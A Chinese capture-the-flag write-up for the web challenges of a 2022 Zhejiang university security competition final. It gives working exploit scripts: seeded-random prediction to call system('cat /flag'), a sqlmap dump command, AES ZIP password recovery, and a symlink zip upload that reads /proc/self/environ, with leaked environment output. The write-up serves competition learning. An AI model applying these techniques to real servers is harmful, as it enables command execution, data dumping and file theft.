2022年浙江省大学生网络与信息安全竞赛决赛web WriteUp
ezphp
题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);
时间戳随机数,可以预测,本地提提前几十秒生成payload,bp发个包解决
<?php
mt_srand(time()+15);
var_dump(time());
$_GET['cmd']="cat /flag";
echo "?cmd=".urlencode($_GET['cmd']);
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
for ($i=0;$i<=10001;$i++){
if($a[$i]===$_GET['cmd']){
echo "&c=".$i;
}
if($a[$i]==="system" ){
echo "&b=".$i;
}
}
babysql
ban了空格 sqlmap一把梭
sqlmap -r "1.txt" --dump --random-agent --tamper=space2comment
zip-question
无聊!破题!(不能上网)
某知识点
简单总结一下
在启用 AES-256 模式生成受密码保护的 ZIP 存档时 ,如果密码太长(大于64字节),ZIP 格式会使用 PBKDF2 算法并对用户提供的密码进行 hash 处理。
举个例子
假如压缩包密码是password
(长度大于64字节),那么压缩程序实际使用的密码为hashlib.sha1(password.encode()).digest()
题目描述忍不住还想骂出题人和挑这个题的人
go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!
/backup访问后能得到一个压缩包,根据题目描述文件名是经过sha1
的压缩包密码,根据上面的补充知识,那么可以写脚本解密文件
import binascii
import pyzipper
with pyzipper.AESZipFile('bf417de70d24824c18aef030f3d8903608bc51ac.zip') as zf:
zf.extractall(pwd=binascii.unhexlify("bf417de70d24824c18aef030f3d8903608bc51ac"))
解密后main.py
import datetime
import hashlib
import os
import random
import pyzipper
from flask import Flask, Response, send_file, request
app = Flask(__name__)
@app.route('/')
def index():
return Response(
'go /backup to pack the source code(with aes encrypted), sha1sum(password) is the filename, good luck!',
mimetype='text/plain')
@app.route('/hello_world', defaults={"timestamp": None})
@app.route('/hello_world/', defaults={"env": None})
@app.route('/hello_world/<timestamp>')
@app.route('/hello_world/<timestamp>/', methods=['GET'])
@app.route('/hello_world/<timestamp>/<env>', methods=['GET'])
def hello_world(timestamp=None, env=None):
if timestamp is None or env is None:
return Response('hello world!', mimetype='text/plain')
if datetime.datetime.now().timestamp() - float(timestamp):
return Response('timeout', mimetype='text/plain')
e = str(env).split('=')
os.environ[e[0]] = e[1]
resp = Response(str(os.system('dash -x -c "echo hello world"')))
os.environ[e[0]] = ''
return resp
@app.route('/read_flag', methods=['GET', 'POST'])
def read_flag():
if request.method == 'POST':
f = request.files['file']
filename = hashlib.sha1(f.filename.encode(encoding='utf-8')).hexdigest()
rand = hashlib.sha1(random.randbytes(256)).hexdigest()
f.save(f'uploads/{filename}')
os.system(f'unzip -q uploads/{filename} -d uploads/{rand}-d ')
return open(f'uploads/{rand}-d/flag').read()
@app.route('/backup')
def backup():
secret_password = random.randbytes(256)
filename = 'zips/' + hashlib.sha1(secret_password).hexdigest() + '.zip'
with pyzipper.AESZipFile(filename,
'w',
compression=pyzipper.ZIP_DEFLATED,
encryption=pyzipper.WZ_AES) as zf:
zf.setpassword(secret_password)
zf.writestr('main.py', open('./main.py').read())
resp = send_file(filename)
return resp
if __name__ == '__main__':
app.run(port=8000, host='0.0.0.0')
之后要么RCE,要么读文件拿flag
看一下题目函数hello_world
的os.system
部分是可以做到RCE的,但是无法构造一个timestamp
使得datetime.datetime.now().timestamp() - float(timestamp) == False
,所以hello_world
走不通(不排除我很菜的可能性)
另外一个read_flag
看起来就比较明朗,可以解压zip并且返回文件内容,那么用zip软链接应该是能得到结果的
import os
import requests
filename = "/proc/self/environ"
os.system("rm flag out.zip")
os.system(f"ln -s {filename} flag && zip -ry out.zip flag")
burp0_url = "http://xxxxxx/read_flag"
upload = {"file": open('out.zip', "rb")}
r = requests.request('post', burp0_url, files=upload)
print(r.text)
在软链接读/proc/self/environ
时
KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.255.128.1:443HOSTNAME=out-0HOME=/rootKUBERNETES_PORT_443_TCP_ADDR=10.255.128.1PATH=/root/.local/share/virtualenvs/ctf-bash-zip-_HaL1ahj/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_PROTO=tcpDASFLAG=notSHELL=/bin/bashKUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP=tcp://10.255.128.1:443KUBERNETES_SERVICE_HOST=10.255.128.1PWD=/var/www/ctf-bash-zipLC_CTYPE=C.UTF-8PIP_DISABLE_PIP_VERSION_CHECK=1PIP_PYTHON_PATH=/usr/bin/python3PYTHONDONTWRITEBYTECODE=1VIRTUAL_ENV=/root/.local/share/virtualenvs/ctf-bash-zip-_HaL1ahjPIPENV_ACTIVE=1
发现HOME=/root
,那么当前用户是root
这里因为许多出题人水平不佳,并不会以低权限用户起docker的python,再加上这个,会有一个非预期解,ddddVIRTUAL_ENV
,我实在是绷不住了,不会出可以。。
这道题flag放在/var/www/ctf-bash-zip/flag
(不放根目录也不说😅)
ezupload
我同样需要问候一下出题人和做出这道题的人,你们的字典长什么样子,我想康康😅
题目只有一个上传文件操作,除了zip和rar结尾的文件,只返回一个no,没了😅,剩下全是猜谜了
不过这里如果上传zip文件炸弹的话是发现会卡一段时间,所以可以猜测有打开文件读文件写文件的这个操作
后来了解到,upload.php
存在信息泄露
/.upload.php.swo
拿到源码
<?php
error_reporting(0);
$type = pathinfo($_FILES["file"]["name"],PATHINFO_EXTENSION);
if ($type != "zip" && $type != "rar"){
die("no");
}
$random_path = "upload/".md5(uniqid(mt_rand(), true));
$file_name = md5(uniqid(mt_rand(), true)).".zip";
mkdir($random_path);
$file_path = $random_path."/".$file_name;
move_uploaded_file($_FILES['file']['tmp_name'],$file_path);
$zip = new ZipArchive();
if (file_exists($file_path)){
try {
$zip->open($file_path);
$zip->extractTo($random_path);
$zip->close();
}catch (Throwable $e){
$zip->close();
rename($random_path,"error/".md5(time()));
}
}
system("rm -rf error/*");
system("rm -rf upload/*");
?>
md5(time())
是可预测的
后面要么用条件竞争,要么构造压缩包,让ZipArchive
报错,但是自己没在php对应版本的扩展源码中看到ERROR,基本只有WARNING
题目环境没了,懒得弄了,随缘更新😅,有大佬做出来可以评论一下
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.0.33
最后初赛和决赛都第一,舒服了